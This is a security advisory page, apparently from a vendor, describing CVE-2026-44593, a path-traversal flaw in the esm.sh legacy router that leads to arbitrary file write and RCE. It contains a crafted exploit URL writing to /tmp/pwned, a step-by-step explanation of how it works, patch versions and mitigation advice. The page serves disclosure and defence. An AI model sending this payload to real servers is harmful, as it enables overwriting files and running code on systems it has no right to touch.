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CVE-2026-44593 — esm.sh

CVE-2026-44593 is a Path Traversal vulnerability in github.com/esm-dev/esm.sh. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.

esm.sh: Legacy Route Path Traversal Can Lead to RCE

Also known asGHSA-3636-h3vx-6465GO-2026-5071
Published
May 28, 2026
Updated
Sep 20, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44593.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Impact

  • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
  • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

  1. URL Construction
    A crafted request is sent to the server:

    http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned
    
  2. Proxy to Legacy Server
    The request is forwarded to:

    http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned
    

    which resolves to:

    http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md
    
  3. File Retrieval
    The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.

  4. Path Normalisation & Storage
    The storage path derived from the request is:

    legacy/v111/[email protected]/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
    

    Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.

  5. Result
    By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/esm-dev/esm.shall versions0.0.0-20260508100112-1960055e1d53go get github.com/esm-dev/esm.sh@v0.0.0-20260508100112-1960055e1d53

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/esm-dev/esm.sh to 0.0.0-20260508100112-1960055e1d53 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44593 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44593 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-44593. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact - Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. - Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. ### Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>). For a URL such as: ``` h
O3 Security · Impact-Aware SCA

Is CVE-2026-44593 in your dependencies?

O3 Security finds CVE-2026-44593 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-44593: esm.sh RCE | O3 Security